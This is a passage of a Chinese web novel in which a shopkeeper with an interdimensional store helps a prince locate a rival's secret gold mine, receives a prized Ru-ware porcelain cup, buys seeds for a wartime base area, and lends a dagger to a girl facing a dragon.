况且顾客们买的日常用品太日常、太琐碎，在不考虑成本的前提下，显然是网上采购更便捷，办个厂子只是说出去显得她混得好，其实稍显累赘。 萧妧妧一想到办厂后续要解决的麻烦事，马上歇了心思。 苏娇娇看她累得翻白眼，笑着绕到她身后，捏捏萧妧妧肩膀。 “这次出远门不方便带太多金子，好在我最近得了几样好东西……用它们应当能抵上这次的货款。” 萧妧妧本想说不给货款也没关系，她钱多得是，不差这点，一听有好东西，马上改口。 “娇娇姐都说是好东西，我倒要看看能有多好。” 苏娇娇笑：“那你等等我，先回去安排一下，再拿了东西来给你。” 萧妧妧振作起来，殷勤地送苏娇娇回到后门，穿过结界。 下午有一批龙傲天的货，为了不影响接收苏娇娇的货，最好是提前给他送过去。 脑海里飞快过了一遍流程，萧妧妧马上行动起来。 昨晚提前到了一批军大衣，一包包堆在走廊下，萧妧妧拆了包装塞空间，顺带给龙傲天发去消息提醒，催他来拿货。 等她收拾完第一波，准备拆肉罐头和止血药，龙傲天姗姗来迟。 “孤正在和军师商量路线，刚刚才寻了机会出来，”龙傲天没在店里看到人，匆匆找到院子中，“萧老板，可是孤要的东西凑齐了？” 萧妧妧指了指走廊下面：“喏，都是你的，今天能送去吗？” 龙傲天面露为难：“这……尚在行军途中，多出一批军需，只怕会惹人猜疑。” 萧妧妧挠头，这就麻烦了。 龙傲天信步走过去，一看有御寒的衣服，顿时比萧妧妧更愁。 东西有了，该怎么拿出去呢？ 危急关头，龙傲天已经没空在意棉花的消息会不会泄露，有一件更紧要的事摆在面前。 手握三十万大军的林大将军派来了嫡长子跟随在他身侧，这次遭老七暗算，林小将军是知道实情的，龙傲天不仅想让老七做的那些事传扬出去，还想趁此机会彻底拉拢林小将军，继而影响林大将军站队。 至于如何拉拢，龙傲天想来想去，最后把主意打在了军大衣身上，只是在如何合理拿出东西则成了一个大问题。 萧妧妧沉吟一会，问：“你们既然在附近山林里打转，有没有见过什么山洞坑洞之类的？” 龙傲天眼睛一亮，“有有有，斥候来报，附近有一处废弃矿坑。” 萧妧妧为他出主意：“那不就对了？我把东西送到那里，到时候你就推说，是你防着老七下黑手，提前安排的军需以防万一，多合理啊。” 龙傲天迟疑，真要这么说，倒也能凑合。 然而他一个皇子，偷摸准备军需物资，说是为了作战准备，旁人怕是不会这么想。 “怕别人说你造反？”萧妧妧问。 龙傲天一脸沉重地点头。 萧妧妧翻了个白眼：“大不了反给他们看。你弟弟那么大动作，没有你爹默许，你当那么多守备哪来的胆子敢这么做？” 毕竟是真爱生下的儿子，老皇帝一心要扶七皇子上位，但又顾忌皇后母族和太子，可不得多使点手段。 说起来这位老皇帝，在萧妧妧的印象里，也是“贤妻扶我凌云志，我还贤妻三尺白绫”的典型。 当时看到这里，萧妧妧气得不行，直呼恶心，原本想着再看看的她果断弃文。 龙傲天不敢深想，或者说不敢承认的一点，被萧妧妧无情戳破后，整个人如遭雷击，呆立在原地。 是啊，一路急行军到边关，路上走了月余时间，他已经非常小心，仍旧着了道。 论朝堂势力、朝中名声，他处处不及自己，母族更不用说，不成气候，如何能打通许多关窍，说服官吏一起犯下弥天大罪？ 再者，如果他真的战场失利，后续又该如何扭转倾颓战势？ 桩桩件件，细思起来都不可能是老七能扛下的。 “你是说……”龙傲天踉跄倒退，身上盔甲撞在墙上，发出沉闷的声响，“不、不是这样的，母后她……” 他的声音颤抖，带着难以置信的慌乱，支吾半天，最后发现自己说不出有效的辩驳，他丧气地垂下头，眼底满是茫然。 如果这一切有父皇授意，他要怎么办？ “能怎么办，干回去啊！除非你愿意把太子之位拱手相让，让你母后一族成为史书上专权的‘外戚’，被后人讨伐。”萧妧妧挑了挑眉。 她说得轻松，颇有些站着说话不腰疼、看热闹不嫌事大的意思。 萧妧妧并非是挑拨，她真看不惯老皇帝的卸磨杀驴的做法，纯粹按照自己的性格有什么说什么。 如果有人敢踩着她上位，萧妧妧绝对不会手软。 龙傲天显然也不是善茬，惊愕过后，眼底闪过狠意。 “历史由胜利者书写，你说那些物资是七皇子准备造反，谁敢反对？” 龙傲天瞬间醍醐灌顶，激动地来回踱步。 萧妧妧本是看不惯他犹犹豫豫的样子，随口一说，反正龙傲天不反抗，结局必定是死，不如拼一把。 她刚说完，脑子灵光一闪，想到了被她忽视的剧情。 萧妧妧一拍脑门，直呼卧槽，难怪她听“岐山”有点耳熟。 “好消息：有七皇子的把柄了。 坏消息：你得给我一大笔好处费。” 萧妧妧立刻支棱起来，神秘兮兮地冲着龙傲天伸出手。 【作者有话说】 好奇怪，明明大纲细纲都有，也知道要写什么，结果卡了[裂开] 感谢读者“”,灌溉营养液 +2 感谢读者“小星星”,灌溉营养液+1 93 第93章 ◎青瓷之冠◎ 龙傲天停住脚步,狐疑转头，上下打量萧妧妧。 “萧老板莫不是为了好处费坑骗孤？” 萧妧妧没好气地翻了个白眼，坐回沙发上，翘起二郎腿：“爱信不信。” 看她一副不耐烦的样子,龙傲天反而信了几分,清清嗓子。 “是孤的错,只要能抓住老七的把柄,孤愿意再出万两黄金。” 萧妧妧神情和缓，冲着他摇了摇手指：“不不不,万两黄金可不够。” 龙傲天一惊，萧老板的胃口未免太大了,一万两都不够。 要知道一座金矿一年最多采出五六百公斤黄金，已经算很不得了,一万两黄金几乎抵得上一座小矿一年的产量。 也就他是太子，家底够厚,一般人谁敢拿万两黄金挥霍？ 即便如此,做主拿出一万两讨好萧老板时,龙傲天仍旧肉痛不已,太子妃劝了又劝,他想着那些没得手的方子，才咬牙送出手。 龙傲天面露为难，心里忍不住抱怨两句，没等他措辞一番再开口讨价还价,随即改变了想法。 萧老板敢如此说，怕是这个把柄能捅破天？ “不止是把柄,”萧妧妧索性道：“算了,我老实跟你说吧,我知道你那里有一座金矿。” 龙傲天目瞪口呆，不敢相信自己听到的内容，愣愣重复：“金矿……？” 萧妧妧得意仰头：“怎么样，这条消息值不值？” 龙傲天双眼放光，沉思许久，豪气道：“萧老板若是肯告诉孤金矿的位置，每年分你黄金一万两！” 按固定比例分配，龙傲天肯定不乐意，况且金矿在其他位面，鞭长莫及，萧妧妧没办法明确产量，他暗中做手脚她也拿他没办法。 古代开采技术有限，年产量肯定不及现代，千吨是不用想了，差不多在几百公斤到数吨之间，不会再多了。 萧妧妧根本没想过按比例分成，每年给一次就挺好的，但…… “那可是一座金矿，年产量至少1、2吨吧，如果再有我提供的冶炼技术改进方法，以及提供一些工具，不止一座金矿，全国金矿的开采量都会得到相应提升，你只给一万两……” 萧妧妧斜眼看他，就差明说他小气了。 龙傲天前一秒觉得萧妧妧狮子大开口，后一秒听她侃侃而谈了一番，暗自估算起来，很快意识到萧妧妧到底哪来的胆子敢要价。 “这、这……”龙傲天受到冲击一般，说不出话。 萧妧妧以为他不信，手机搜索现代技术下的黄金产量，贴心选择语音朗读。 龙傲天这么一听，越发确信萧妧妧有能力提供技术改进方案，心口砰砰跳。 “你倒是给个反应啊……”萧妧妧看他张着嘴不说话，一时间弄不清他什么想法。 龙傲天迟钝回神：“如果真如萧老板所言，孤承诺，每年给萧老板两、不，三万两黄金。” 萧妧妧马上翻出计算器，按照当下金价来估算，差不多六个亿！ 什么都不干，一年白拿六个亿，最多前期花点工夫帮忙找资料和工具，赚死了！ “就这么说定了。”萧妧妧满意的哼了一声。 龙傲天听她应下，喜不自禁，躬身一揖。 萧妧妧：“哦对了，还有一件事，那座金矿被人捷足先登啦，你得尽快处理干净。” 龙傲天一下子转过弯来：“你是说……老七？” 萧妧妧点头承认了她的猜测：“你猜对了，这座金矿是他的人发现并开采，消息一直瞒着，连你父皇都不知道呢。” 龙傲天心惊不已，气得捶墙：“好啊！老七他……他这是要造反？” 萧妧妧小鸡啄米似的点头，可不是，大结局好像就是男主造反来着，活活气死了老皇帝。 “我是不是还没告诉过你？那个金矿就在岐山附近，具体是哪你自己找找吧，小心点，他在那里藏了不少人手。” “竟然敢屯兵……”龙傲天回过神，倒吸一口气。 看来造反是板上钉钉了，谁能想到，不显山不露水的老七有这等手段和胆量。 龙傲天接连受到冲击，脑子里乱糟糟一团，像只溜达鸡在院子里溜达来溜达去，眉头皱得能夹死大蟑螂。 萧妧妧看得眼晕，催他回去找废弃矿洞，她好把物资送过去。 龙傲天心不在焉，好不容易回神，胡乱应声匆匆往回走。 趁这会工夫，萧妧妧忙着查资料，从燃料、炉具的改进，到技术的提升，再到水力的应用，统统整合起来，有图有文字，打印几十份。 甚至下载科普视频，动画展示黄金冶炼过程，务必让龙傲天一学就会。 萧妧妧正准备把文字转换成繁体，方便古代人学习背诵，龙傲天再次出现。 “找到了，萧老板你看这里可行？” 萧妧妧扫一眼还算宽敞的矿坑，目光放在下面的坐标，而后选中龙傲天所需货物，传送发货。 等一箱箱东西唰一下出现在矿坑中央，龙傲天小小松了一口气，真好，这会不用自己苦哈哈的搬运了。 萧妧妧语速飞快：“送过去的只是一部分，这两天陆续到货，最迟明天晚上能结束，到时候我发消息提醒你，你自己找机会把物资拿出去。” 哦，还有那个装金子的大箱子，堆在小卖部太碍事了，一起给他送过去。 龙傲天迟疑一会，怎么感觉萧老板像在扔垃圾一样，急吼吼催着他把东西领走。 “答应给你的冶金技术不会忘，等你神不知鬼觉拿下金矿，我也准备得差不多。” 不止是图文资料，还有风箱、磨具等，她得找几个当样板送过去，暂时还不知道难易程度，不敢随便保证。 反正龙傲天现在也是焦头烂额，不急在这一时半会。 龙傲天想说什么，发现萧妧妧一句一句全交待清楚了。 “那……孤回去了？”他傻愣愣指向结界。 萧妧妧随意挥挥手，巴不得他赶紧走。 龙傲天消失，同时，苏娇娇从结界里出来，两人像是从彼此的身体里穿过一般。 萧妧妧换了一副模样，笑着招手。 苏娇娇不说废话，靛蓝布包打开，厚实棉布层层展开，她所谓的好东西显出真貌。 “说来还是托了萧老板的福，镇子上一地主老爷家急需磺胺，正好你给了我不少，便让出一粒给他，他们一家子打算出国，忙着淘换金子，不舍得给现钱，于是拿出家中宝贝抵给我。” “我原想着换他们一点粮食，转念一想，粮食你这里多得是，不如来你这买，刚好拿它们换，不是更合算？” 说着话，苏娇娇打开了第一个稍大一点的布包，看造型，像一个拳头那么深的碗。 只是这碗未免有些独特，瞧着像是做的波浪形状。 “可不是波浪……”苏娇娇取走布团，捧起它：“看出是什么了吗？” 萧妧妧只看到满眼绿色，“这是……碗？盏？钵？” 材质她知道，无疑是碧玉，颜色特别美，灯光下瞧着是菠菜绿，色泽浓郁得接近鲜绿色，再细看，油性十足，应当是和田碧玉。 油性颜色都在线，造型别致不说，雕工精巧，关键是能做出巴掌那么大的物件，挺难得。 她歪了歪脑袋换方向看，所谓的波浪其实是荷叶形状，应该说，整个碗都是仿照荷叶卷曲拢起的姿态雕成。 “都不是，这是荷叶玉笔洗。”苏娇娇把东西放低些说。 笔洗，一种盛水洗毛笔的器具，形状多以钵盂为主，材质多种多样，玉、瓷、陶等是较为常见的。 萧妧妧迫不及待上手，看外面光线暗下来，转身拿出玉石专用台灯照着看。 看不到黑点棉絮结构，颜色比日光灯下看着鲜亮许多，雕工非常精细，连荷叶的脉络都能清晰可见。 萧妧妧凭感觉估算，有雕工加持，又是有年代的古董，大约值个一百出头。 当然，她眼光还未完全炼成，恐怕有几十万的出入，但绝对不会贵得离谱。 拥有了帝王绿，哪怕是顶级的菠菜绿碧玉也无法让她心中起波澜。 萧妧妧放下荷叶玉笔洗，等着苏娇娇展示下一件。 “依旧是笔洗，明代仿汝窑洗。”苏娇娇：“虽说是仿制，却也是明代的古董了，关键是仿得极好。” 第二个捧出来的造型相对简单素雅，颜色是稍显沉闷的青色，和家里的水果盘差不多的意思。 一听是仿的，萧妧妧垮下肩膀，但因对瓷器的学习不够深入，她还抱有期待，眨巴眼睛等苏娇娇讲解。 苏娇娇笑着说：“别看是仿制就小瞧它。” 汝窑是皇家御用瓷器，一直被誉为“陶瓷艺术的巅峰之作”，其鼎盛期在宋徽宗时期，位居宋代“五大名瓷”之首，随着北宋灭亡后逐渐衰落，到了南宋时期基本停产。 因此，混不混古董圈的应该都听说过，汝窑存世稀少，收藏价值极高，是存世数量不过百的那种稀少，是拍卖价以亿计算的那种高收藏价值。 无数藏家为收藏一件汝窑抢破了头，其珍贵性、市场价值可见一斑。 也因为存世稀少，它的仿制品受到了各位藏家的青睐。 明代的仿制品显然不及汝窑，但仍有较高的收藏价值，尤其保存完好的仿制品。 萧妧妧查了一下资料，便宜的几十万，贵一点的大几百万，没个准数，至于这一件…… “这件的工艺相当精湛了，听说是宫廷里流传出来的，虽不知真假，不过看品相倒有几分可信。” 萧妧妧挑眉，强忍着不去用系统估价，反正最贵的才百万，等有人询价时再说吧。 她小心翼翼捧走它，眼巴巴等第三件宝贝。 苏娇娇骄傲说：“这件是重中之重，我特意派管家回去取金子换的。你上回给的那些金条，起码用出去三分之一。” 萧妧妧眼睛骤然放光，这得是多珍贵的宝贝？ 她拿出一木匣，打开匣子后再展开一层层的绒布，动作极其小心。 “看出来它是什么了？”苏娇娇语调上扬，期待着萧妧妧的表情。 又是一件青色瓷器，大小不及她巴掌，器型简单大方，颜色是干净清澈的青，表面泛着酥油光泽，肉眼看美极了。 萧妧妧一看清东西，神情犹豫了两秒。 不确定，但越看越像。 “是官窑还是龙泉窑？总不能……是有青瓷之冠美名的汝窑吧？” 94 第94章 ◎老天爷啊，那可是汝窑！◎ 说这话的时候萧妧妧心虚得直吞口水。 帝王绿、鸽血红同样是过亿的价值,但始终比不上差不多价值的汝窑。 龙泉窑、官窑等与汝窑相比，无论在工艺、还是釉面表现方面，都有许多相似之处，即便是专家也不敢说能一眼分辨。 两者看着相似,价格相去甚远,一个以亿为单位,另一个在百万之间。 比起汝窑,萧妧妧更愿意相信它是龙泉窑，毕竟汝窑太稀少了,是藏家梦寐以求的宝贝。 苏娇娇很喜欢看她变脸，用萧妧妧的话来说,就是给足了情绪价值。 “为什么不能是汝窑？”苏娇娇皱眉，苦恼得说：“哎呀,是不是我好心办坏事？萧老板看不上它？那我还回去吧……” “不不不，我没说不喜欢啊。” 萧妧妧像是不敢相信自己听到的话,目光在苏娇娇和汝窑之间来回摇摆,神情惊疑不定,既期待又怕希望落空。 直到看见苏娇娇露出促狭笑意,她迟钝反应过来。 老天爷啊,那可是汝窑！ 萧妧妧急得跳脚，双手伸过去一起拢住茶杯抱进怀里。 “给你给你，本就是为你挑的。”苏娇娇难得见她如此宝贝一个物件，等她捧稳了才放手,好笑地说：“家里有一件汝窑的花瓶，那是公公的心头宝,我不能碰,正好这次机缘巧合遇见它,当时我心心念念想着换回来给你呢。” 萧妧妧又惊又喜又感动，她已经够忙了，还能记着她的需求，不枉费她忙前忙后到处收集药品。 “娇娇姐你人真好，我最爱你了！” 萧妧妧夹起嗓音，厚着脸皮凑过去求贴贴，苏娇娇不习惯和同性这么亲热，脸颊红彤彤，僵硬着身子由着她抱上来蹭。 浅浅拥抱她一会，萧妧妧撒开手，专注欣赏她目前的最爱——汝窑小茶杯。 “天呐，这么小的小玩意，竟然是汝窑的……” 萧妧妧哪敢想啊，她会有摸到汝窑的一天，不用系统估价，她可以拍着胸脯打包票，绝对绝对超过3亿，心黑一点开价6亿都有人愿意当冤大头。 “娇娇姐，你这样的大好人，简直是人间限量版！” “啊啊啊娇娇姐你是我唯一的姐！永远的神！” “娇娇姐为我找到了汝窑，我真的不是做梦吗？” 萧妧妧像热情小狗，围着苏娇娇打转，花里胡哨的彩虹屁不带重样地吐出来，抑扬顿挫，情绪饱满。 “净会胡说，留洋回来的读书人都没你能说会道。赶紧坐下吧，转得我头晕，小心再摔着它。” 萧妧妧在一旁高兴疯了，苏娇娇忍了又忍，最终没能忍住，捂着脸朝她轻斥几句。 “娇娇姐放心，除了武器弹药，无论你需要什么我都想办法尽量满足你！”萧妧妧清清嗓子，恢复严肃神情。 苏娇娇哼了一声，打趣道：“就这么喜欢汝窑啊？” 萧妧妧睁着圆溜溜的狐狸眼看过来，冲她疯狂点头，连带着头顶的丸子头跟着直晃悠，可爱得她心软软。 苏娇娇翘着嘴角说：“好好好，我再给你打听打听。” 萧妧妧欢呼一声，请她吃甜品和糕点，顺带投喂水果零食。 苏娇娇这次来做好了准备，因此时间充裕，可以多逗留片刻，看到萧妧妧殷勤抱来吃的喝的，她舔舔唇，依言坐下享用。 乡下日子艰苦，借着处理家族产业为由来到根据地这段时日，苏娇娇精神是亢奋的，身体则相反，因为不太习惯乡下生活，着实吃了不少苦头。 名门望族出身，没过过几天苦日子，苏娇娇这几日一直咬牙强撑着，不想让人看扁。 萧妧妧看她脚步不自然地走到桌边，这时才注意到，苏娇娇的鞋不合脚。 苏娇娇察觉她的视线，笑着说：“好心乡亲借我的，我的皮鞋绣鞋不适合山路。” 萧妧妧掏出手机，直接选跑腿服务，买了十几双布鞋。 “这家是专做老款式布鞋的铺子，和你们那时候的手工布鞋应当差不多，我给你多准备几双，让你换着穿，多余的可以送人。” 苏娇娇犹豫低头，穿了几天的旧布鞋被她磨出毛边，脚趾用力顶几下似乎能破洞而出。 借她鞋子的乡亲家里不富裕，如此还回去确实不妥，苏娇娇爽快接受萧妧妧的好意。 “要是缺了什么生活用品，娇娇姐可以跟我说，小卖部多得是。” “对了，娇娇姐，你要是吃不惯那里的饭菜，到了饭点只管来小卖部找我。 不说做得比你家大厨手艺好，至少有滋有味，还有很多那时候没培育出来的蔬菜瓜果，你尝个新鲜也好。” 苏娇娇一出现她就看出来了，瘦了许多，脸颊上看不到肉，不知道是太忙还是营养没跟上，顺口提了一句。 小卖部里有她和孟甜甜在，一日三餐少不了，不差苏娇娇一张嘴。 再加上她最近赚了点小钱，有点飘，即便是外卖也都是点高档次的餐饮店，人均在千元左右，味道好品质佳，很拿得出手。 三人都不社恐，凑在一起吃饭说不定胃口更好。 苏娇娇果然心动，她确实想尝试新奇的食物。 “如果我想买种子回去种呢？” 受战争以及自然灾害影响，粮食短缺的问题十分严重，沦陷区的粮食更是被敌军大量搜刮掠夺，苏娇娇一个人是吃饱了，可还有千千万万吃不饱的同胞。 据她所知，乡亲和战士们要下地开荒才勉强缓解粮食紧缺问题，没她膝盖高的孩子整天惦记去山里扒拉野菜野果子饱腹。 苏娇娇在根据地做客，大家拿出好东西紧着她先用，即便如此，那些食物仍旧说不上多精细丰盛。 想起第一天来镇子上，看大家嚼着野菜啃着粗粮饼依然津津有味，苏娇娇当时眼眶都红了。 她现在可以买几百斤几千斤粮食，先把粮食调配的问题解决，以后呢？ 萧妧妧无心的几句话恰好勾起了她的心思，越想越是激动。 萧妧妧不确定，按理说问题不大，系统没有明令禁止即是可行。 解决粮食短缺，那么首要的自然是考虑高产量、易打理，或是生长期短的粮食蔬菜，太娇气的不在选择范围内。 确认好方向，萧妧妧在网上一搜，很快定下*买哪些种苗。 “这里的种子和你们那里的不一样，别看都叫土豆红薯大白菜，长得好像大差不差，其实是经过科学家多年研究和一代代培育，淘汰了不好的品种慢慢筛选出来的优质种子。 现在能出现在餐桌上的，大多是味道、产量、生长周期都有大幅改进的稳定品种。” 苏娇娇明白了萧妧妧的暗示，“放心，我会掩护好的，到时候那么多种子撒下去，谁知道哪一粒是从哪来？大家只会高兴丰收了，收集好种子等着种下一波。” 萧妧妧想了想，又从网上下载科学的种植方法。 原谅她这个没接触过田地、五谷不分的城市人，甭管是科学还是不科学的种地方式，她一概不知，也说不出一二三，好在网络发达，资料下载整合过后直接甩给苏娇娇。 苏娇娇同样没种过地，但是她愿意花时间学习资料，再通过不着痕迹的方式传播出去。 两人有商有量，互相补足对方不知道的知识，很快把事情确定下来。 到采购这一步，萧妧妧出双倍的运费，只求尽快到货。 她是不着急的，但一想到另一个位面有许多人忍饥挨饿，她比苏娇娇急多了，大把大把买种子。 苏娇娇吃不下没关系，总有其他客人用得上，有系统空间在完全不用担心变质过期的可能。 萧妧妧忙得风风火火，采购单列满一张A4纸，到货时间写得清清楚楚。 苏娇娇撑着下巴看她，嘴里喃喃：“真想亲自去感受一下外面的世界。” 两人相互交流，萧妧妧见识到了世界的另一面，看到了历史不曾描绘出来的细节，苏娇娇亦是如此，知道了这里科技发达，粮食产量充足，再没有过流离失所、饿殍遍野的情况。 曾经在视频里看过的麦浪稻田、秀丽山河，猛地一下从记忆里浮现，她想看看这么多粮食种子是怎么能在一夜之间调配过来。 情绪到了，她随口一说，没想要做什么，听者却生出点别的想法。 “系统，如果升到五级、六级，位面之间能串门吗？” 大约迟滞了两秒，机械音一字一顿响起。 【等级不足，无法查询】 萧妧妧顿时了然，咧着嘴笑。 以她对系统的了解，不能它一定会说不能，只有在能的时候才拿等级说事。 萧妧妧挺起胸膛，语气认真：“一定会的！娇娇姐你可要保重啊，情况不对就躲进来，有任务的时候记得穿防弹衣。” 苏娇娇怔愣一瞬，抬头笑了笑，嗯了一声。 “娇娇姐尝尝黄油年糕，我最近的心头好，巨好吃。” “还有米麻薯奶茶，口感超棒。” “咚！” “砰！” 两人围坐桌边，分享美食，结界的雕花木门忽然被人撞开，猛地一下砸在墙上，发出巨大噪音。 没等她们反应过来，紧跟着是什么东西摔在地上的闷响声。 一人抱着奶茶嘬得快乐，一人捏起黄油年糕递到嘴边，两人都被一连串动静吓得呆住，而后循着声音齐齐转头，目光下移落在瓷砖上。 是个女人，头发脏兮兮灰扑扑，衣裙被火燎过，有撕扯痕迹还有烧出来的焦黑破洞。 再看她胳膊，细得轻碰一下能折断似的。 萧妧妧已经记不清，这是第几个“碰瓷”摔进来的顾客了。 口腔里的奶茶咕嘟一声咽下，萧妧妧赶紧放下东西前去查看，苏娇娇跟着冲上去帮忙。 两人一左一右架起倒在地上的女人，失去意识的她无法控制身体，脑袋一歪，几乎扑在萧妧妧身上。 勉强推开气息古怪的女人，余光瞄到她颧骨高耸的脸，萧妧妧生出了眼熟感。 将人扶到躺椅上，拨开散乱发丝，萧妧妧仔细打量一会，终于知道为什么觉得她眼熟。 想起来了，是上次那个小黄毛。 【作者有话说】 [垂耳兔头]感谢读者“迪丽肉包”,灌溉营养液 +1 95 第95章 ◎开始了开始了，朴实无华的商战开始了◎ 确切的说是小金毛,一个可能来自西幻背景的年轻女孩。 萧妧妧拒绝了苏娇娇的帮忙，催她回到桌边歇着，而后转身拿来医药箱为小金毛清理腿上灼伤，擦干净脏兮兮的手,最后找来小毯子盖上。 她能做的只有这么多了,希望不是什么重伤。 刚这么祈祷着,躺椅上的女孩哼哼两声,身体下意识扭动起来。 萧妧妧刚转身要离开，听到动静立刻扭过身去看女孩反应。 大约三四分钟,她挣脱了束缚一样，噌一下弹坐而起。 “……你好？” 萧妧妧僵硬微笑,友善地挥手打招呼。 为了方便服务不同语言体系的顾客，系统提供自动翻译功能,目前为止，萧妧妧一次没用过,不知道这功能靠谱不靠谱。 好在下一秒,她得到了答案。 “你、你好？”女孩迷蒙地瞪着碧绿眼眸,打量小卖部的同时掀开毯子。 小腿伤口火辣辣的疼,还有凉丝丝的感觉,上面贴了不知道是什么东西的白布，她下意识要去撕。 “别动！那是刚敷上去的药膏，撕下来影响伤口愈合。” 女孩抬手的动作停滞，缓缓收回手,仰头看向萧妧妧。 “谢谢你。” 瘦小的金发小姑娘软声道谢，萧妧妧不自觉放低了声音：“需要清理一下吗？我顺便给你介绍一下小卖部。” 女孩歪头：“小卖部？” 萧妧妧递去湿纸巾,示意她擦擦脸和胳膊,最好是连头发一起打理一下。 “对,这里是不倒闭小卖部，只为幸运的人提供服务。怎么称呼？” 女孩拘束起身，仍旧用低低柔柔的嗓音说：“爱丽丝，我叫爱丽丝。” 爱丽丝低声道谢，拿起纸巾擦去身上灰尘灰烬。 萧妧妧想了半天，确定那本《情诱精灵王：落魄公主才不想当万人迷》里没有一个叫爱丽丝的角色。 怀疑她和孟甜甜一样取了假名忽悠人，萧妧妧打算完成第一笔交易后再看看她真姓名，正要开口继续说小卖部的事，她忽然想起一个细节。 确实有个叫爱丽丝的角色，但……那是一个甚至连正脸都没在漫画中出现过的存在。 爱丽丝的名字第一次出现是在公主女主逃婚后，国王发脾气，要求侍卫长去抓人，并提醒皇宫总管，挑选出另一位公主按时送去神山祭祀恶龙。 总管左思右想，终于想起国王有个养在宫外的私生女，爱丽丝。 国王大手一挥，毫不犹豫决定送爱丽丝去密林深处。 那是在漫画故事开篇前几话，只有拇指大的位置画出了爱丽丝被押送山上的背影。 这下完了，配角中的配角，炮灰中的炮灰，连故事线都没有，看起来，她在原著里多半是非死即残的下场。 萧妧妧挠头，这回没办法了，不知道剧情根本想不到怎么帮她。 她先简单的教一遍小卖部进出口令，再讲述小卖部营业范围，询问爱丽丝有没有什么需要的。 不知道是系统翻译功能太垃圾，还是爱丽丝反应慢半拍，她总是在话落的十几秒后给出答案。 “原来……这不是恶龙的梦境啊。”她偏移话题，声线飘忽的嘀咕一句。 萧妧妧神情微囧，恶龙的梦境，这是什么奇怪的东西？ “传言说，恶龙擅长编造梦境，让每一个走入城堡的人在无知无觉中死亡。”爱丽丝贴心地解释。 萧妧妧这时想起来追问：“你身上的伤是恶龙造成的？” 爱丽丝乖巧点头：“它冲我喷火。” 萧妧妧再看爱丽丝，忽然发现她的情绪未免太稳定了，差点被龙做成烤全人，竟然还能心平气和说话。 “您这里……有杀死恶龙的方法吗？”爱丽丝仍旧淡定平和地问。 萧妧妧茫然耸肩：“咱也不知道那头龙的攻击和防御属性啊，不好出主意。” 远攻进攻、法攻物攻，脆皮还是大坦克，这都影响工具选择。 爱丽丝垂下头，有一下没一下地擦头发，暗淡金发渐渐显露金色光芒。 “匕首或者剑呢？”她思索一会问。 萧妧妧手上能用的像样武器，加上西瓜刀总共不超过十样。 “还真有一个，你等等。” 萧妧妧想到了申明月为谢救命恩留下的匕首，那可是宝贝，吹发即断的程度，否则申明月不会留它当谢礼。 她快步跑到古董铺，匕首被她锁在展示柜里充门面呢。 取出匕首，准备离开，萧妧妧看外面天气阴沉沉，闷热得厉害，担心下雨，出门前把铺子的几扇窗全锁上。 对着巷子的那扇窗啪嗒一声合上，惊起树上鸟雀扑棱棱飞走，藏在墙根下的身影确定自己没被发现，等了一会悄悄离开。 萧妧妧回到小卖部，躺椅上没了人，一扭头，看到爱丽丝坐在苏娇娇身边，苏娇娇忙着投喂糕点零食。 “这孩子太惨了，在城堡里找不到一点吃的，全靠野外那点果子活着。”她满眼怜惜地说。 萧妧妧走近些看得更清楚了，瞧着情绪稳定的爱丽丝此刻一手泡芙一手黄油年糕，塞得两颊鼓囊囊，活脱脱一个小饿魔。 苏娇娇忙着递水拍背，不忘提醒她慢些吃。 这点零食哪能够吃，萧妧妧去冷藏柜拿来便当加热，添了几根烤肠算是开荤。 东西刚端上桌，爱丽丝顾不上食物还冒着烫手热气，拿起叉子挑动面条往嘴里塞。 萧妧妧嚯了一声，这是饿了多久啊？ 她一边嘱咐爱丽丝别吃撑了，一边回到柜台后面继续加热便当。 大约三盒便当下肚，糕点零食消灭大半，爱丽丝碧绿的眼眸瞧着灵动些许。 “谢谢萧老板，”爱丽丝转头看着萧妧妧和苏娇娇，“谢谢苏姐姐。” 萧妧妧这会可以确定，爱丽丝并不是软妹，声音柔软是因为饿得发虚，眼眸迷茫则是饿得发直。 不过情绪稳定倒是真的，狼吞虎咽一通，面对全程围观的苏娇娇和萧妧妧，她一点不脸红。 “萧老板，这是您给我准备的吗？”爱丽丝指着桌子另一边的宝石匕首。 萧妧妧嗯了一声，从地上捡起一根头发放在匕首刃上，当面表演吹发即断。 不止爱丽丝，连苏娇娇也看直了眼。 “好匕首！”苏娇娇夸赞。 萧妧妧塞给爱丽丝，强调道：“可不是送你的，也不卖，借给你宰龙用，用完记得完好无损的还我。” 怕她不小心抠掉上面的宝石，萧妧妧特意把匕首镶满宝石的鞘留下，另外找了东西裹住匕首。 爱丽丝双手接过，眼睛放射明亮光芒。 “我会很小心的！” 苏娇娇担忧说：“她一个孩子，能杀得了龙？” 萧妧妧耸肩：“不管能不能，她只能依靠自己，我们帮不上更多。” 想到这里，萧妧妧又去找来电锯和菜刀。 “都带上吧，不知道哪个能派上用场。” 爱丽丝跳下椅子，一瘸一拐迎上来，仰着头认真说：“我会给你很多报酬的。” 萧妧妧揉了揉她脑袋，笑着提醒：“那我等着，我这人比恶龙还贪财。” 爱丽丝一脸诚恳：“您比恶龙漂亮多了，也比它善良多了。” 萧妧妧再也压不住嘴角，嘿嘿偷笑。 “吃点消食片，去椅子上休息休息，等你恢复了再回去。” 爱丽丝乖巧得很，抱着滚圆的肚子倒在躺椅上，接了消食片吞下后，老老实实闭上眼睛。 她大概是累极了，脑袋一歪，下一秒陷入酣睡。 苏娇娇：“好乖的孩子。” 萧妧妧点头认同：“还是个诚实的孩子。” 苏娇娇好笑地斜萧妧妧一眼，“我该回去了，这里毕竟不是自家，不方便消失太久，等船到了我再来。” 萧妧妧送她到结界，发现那头的天色暗沉下来，尤其身处林子里更显昏暗，萧妧妧眼疾手快丢去一个手电筒。 听到结界那头传来一声谢谢，萧妧妧回应一句不客气，收拾桌子，考虑晚饭吃什么。 屏幕上下滑了几遍，总算挑到满意店铺，想看看菜单的时候，月亮号连着收到几条消息。 萧妧妧以为是什么急事，戳进去一看发现是高鹭。 没有文字，全是语音，她走到院子里才点开仔细听。 “萧老板，有件事我得跟你说一声，我不确定他们会不会做什么，但是我想你至少要知道。” 听完第一段，萧妧妧心里咯噔一下，这是出什么大事了？ 她忙点开第二段语音。 “我之前跟你说过，帝王绿在几家翡翠商那边转了一圈，他们咬死五千万收货，你还记得吧？” “这事我觉得有蹊跷，我之前拒绝的翡翠商打电话来问了，说最多加两百万，能不能出。我当时没在意，说了实话，就说已经出掉了。” “这通电话之后，又来了几个翡翠商联系我，我也这么回答的，没多久，第一个打来电话的王老板问我出给谁了，他说打听了一圈，圈子里没人承认。” 五千万买帝王绿不是一个人说了算的，通常为了稳妥拉几个股东进来一起下手，所以消息很好查，有人脉的群里一问就知道。 